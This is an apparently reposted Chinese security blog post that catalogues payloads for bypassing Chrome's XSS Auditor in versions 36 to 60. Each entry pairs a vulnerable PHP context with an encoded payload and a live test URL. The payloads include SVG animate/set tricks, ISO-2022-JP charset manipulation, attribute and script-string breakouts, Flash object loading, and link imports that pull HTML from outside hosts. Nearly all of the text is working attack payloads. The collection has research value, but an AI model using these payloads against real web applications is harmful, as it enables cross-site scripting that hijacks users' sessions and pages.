Chrome XSS Auditor bypass
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Chrome XSS Auditor bypass

黑客专题访客2021-10-12 9:19:0011583A+A-

作者：长亭科技

Universal Bypass 5

最新版 Chrome 60

context == null

test：

http://mhz.pw/game/xss/xss.php?xss=%3c%62%72%3e%00%00%00%00%00%00%00%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

Bypass 4 （需交互的bypass）

chrome 60

?c=<svg><animate href=#x attributeName=href values=&#x3000;javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
// or
?c=<svg width=10000px height=10000px><a><rect width=10000px height=10000px z-index=9999999 /><animate attributeName=href values=javas&#99ript:alert(1)>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Canimate%20href%3D%23x%20attributeName%3Dhref%20values%3D%26%23x3000%3Bjavascript%3Aalert%281%29%20%2F%3E%3Ca%20id%3Dx%3E%3Crect%20width%3D100%20height%3D100%20%2F%3E%3C%2Fa%3E

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%20width%3D10000px%20height%3D10000px%3E%3Ca%3E%3Crect%20width%3D10000px%20height%3D10000px%20z-index%3D9999999%20%2F%3E%3Canimate%20attributeName%3Dhref%20values%3Djavas%26%2399ript%3Aalert%281%29%3E

Bypass 3 via flash

只要支持flash的chrome版本（到Chrome 56），均可使用。

context == support flash

<object allowscriptaccess=always> <param name=url value=http://mhz.pw/game/xss/alert.swf>

test

http://mhz.pw/game/xss/xss.php?xss=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http%3A%2F%2Fmhz.pw%2Fgame%2Fxss%2Falert.swf%3E

Universal Bypass 2

到Chrome 55/56可用， 无任何条件，只要输出在页面中即可执行代码。

context == null

?xss=<svg><set href=#script attributeName=href to=data:,alert(document.domain) /><script id=script src=foo></script>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cset%20href%3D%23script%20attributeName%3Dhref%20to%3Ddata%3A%2Calert(document.domain)%20%2F%3E%3Cscript%20id%3Dscript%20src%3Dfoo%3E%3C%2Fscript%3E

Universal Bypass 1

到Chrome 55/56可用，无任何条件，只要输出在页面中即可执行代码。

context == null

?xss=<link rel="import" href="https:www.leavesongs.com/testxss"

test

http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3D%22import%22%20href%3D%22https%3Awww.leavesongs.com%2Ftestxss%22

Chrome 59 && 输出点后面有空格的情况

context:

<?php
header('X-XSS-Protection: 1; mode=block');
echo "<!DOCTYPE html><html><head></head><body>{$_GET['html']} </body></html>";

test

http://mhz.pw/game/xss/xss2.php?html=%3Cscript%3Ealert%28%29%3C/script

Chrome 44/45 + 属性中输出的情况

https://code.google.com/p/chromium/issues/detail?id=526104

chrome45+ fixed

context:

<html>
 <head>
  <title>XSSAuditor bypass</title>
 </head>
<body>
    <form>
    <input type="text" value="<?php echo isset($_GET['input']) ? $_GET['input'] : 'use ?input=foo'?>">
    </form>
</body>
</html>

payload：

"><script>prompt(/XSS/);1%02<script</script>

test

http://mhz.pw/game/xss/attr.php?xss=%22%3E%3Cscript%3Eprompt(%2FXSS%2F)%3B1%2502%3Cscript%3C%2Fscript%3E

无charset Bypass

没有输出charset的情况下，可以通过制定字符集来绕过auditor。

老版的这个编码：ISO-2022-KR，可用 onerror%0f=alert(1) bypass，但现在版本已经没用这个编码，所以该payload只适用于老版本chrome。

新版中，有这个编码：ISO-2022-JP，可以在关键处中加入 %1B%28B，会被省略。

context:

<?php
echo $_GET['xss'];

payload:

老版：
xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%0f=alert(1)%3E

新版：
xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E

test:

http://mhz.pw/game/xss/charset.php?xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E

输出在属性中，并且后面还有<script>的情况

context:

<!doctype HTML>
<img alt="<?php echo $_GET['xss']; ?>">
<script> y = "abc"; </script>

payload

<code>xss="><script/src=data:,alert(1)%2b"
xss=%22%3E%3Cscript/src=data:,alert(document.domain)%2b%22
xss=%22%3E%3Cscript/src=data:,alert(1)%2b%22
xss=%22%3E%3Cscript/src=data:,alert(1)%26sol;%26sol;</code>

test

http://mhz.pw/game/xss/beforescript.php?xss=%22%3E%3Cscript%2Fsrc%3Ddata%3A%2Calert(document.domain)%2B%22

双输出点的情况

context:

<?php 
// Echo the value of parameter one 
echo "This is text1:".$_GET['text1']."<br><br>"; 
// Echo the value of parameter two 
echo "This is text2:".$_GET['text2']."<br><br>"; 
?>

payload:

http://xxx/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script> 
http://xxx/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>

test

http://mhz.pw/game/xss/doubleout.php?text1=%3Cscript%3Ealert(/XSS/);void(%27&text2=%27)%3C/script%3E

Chrome 43 XSSAuditor bypass

大概2015-06-23以前的版本均可。

context==全部情况

payload:

xss=<svg><script>/<1/>alert(document.domain)</script></svg>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cscript%3E/%3C1/%3Ealert(document.domain)%3C/script%3E%3C/svg%3E

Chrome 36~40 link 导入html导致bypass

Fixed in Oct 10, 2014.（实际上15年初还存在）

https://code.google.com/p/chromium/issues/detail?id=421166
http://www.wooyun.org/bugs/wooyun-2010-090304

由于link导入外部html导致XSSAuditor绕过。

context==全部情况

payload

xss=<link rel=import href=https://auth.mhz.pw/game/xss/link.php>

test

http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3Dimport%20href%3Dhttps%3A%2F%2Fauth.mhz.pw%2Fgame%2Fxss%2Flink.php%3E

输出在script内字符串位置的情况

如果允许闭合字符串，直接闭合并写入javascript即可，如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27

但如果不能闭合单引号呢？如这个context

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>all</title>
    <script type="text/javascript">
    var a = '<?php echo addslashes($_GET["xss"]); ?>';
    </script>
</head>
<body>
123
</body>
</html>

payload

<script>
x = "</script><svg><script>alert(1)+&quot;";

<script>
x = "</script><svg><script>alert(1)+&apos;";

test

http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)%2b%26apos%3B
http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)//

有可控上传点的通用Bypass

context：

网站域名下有可控的上传点，我可以上传一个.txt或.js等文件（只要不是媒体文件，其他文件均可，比如上传是黑名单验证的，可以随便写个后缀）。再引入script标签的src属性即可。

payload

xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E

test

http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E

http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.ayu%3E%3C/script%3E

JSON Encode

context

<?=json_encode($_GET['x'])?>

payload

?x=<img+src=x+onerror=`ö`-alert(1)>

存在字符替换的情况

当输出点在输出前存在字符（大部分字符，字符串什么的都可以）的替换，context如下：

<?php
echo str_replace('"', '&quote;', $_REQUEST['name']);
echo str_replace('&', '&amp;', $_REQUEST['name']);
echo str_replace('\\', '&bsol;', $_REQUEST['name']);
echo str_replace('#', '&num;', $_REQUEST['name']);
echo str_replace('xxxx', 'b', $_REQUEST['name']);

既可以在payload里带入该字符进行绕过auditor：

xss=<script>'"'/alert(1)</script>

test

http://mhz.pw/game/xss/amps.php?name=zx%3Cscript%3E%27%26%27/alert(1)%3C/script%3Eczxc
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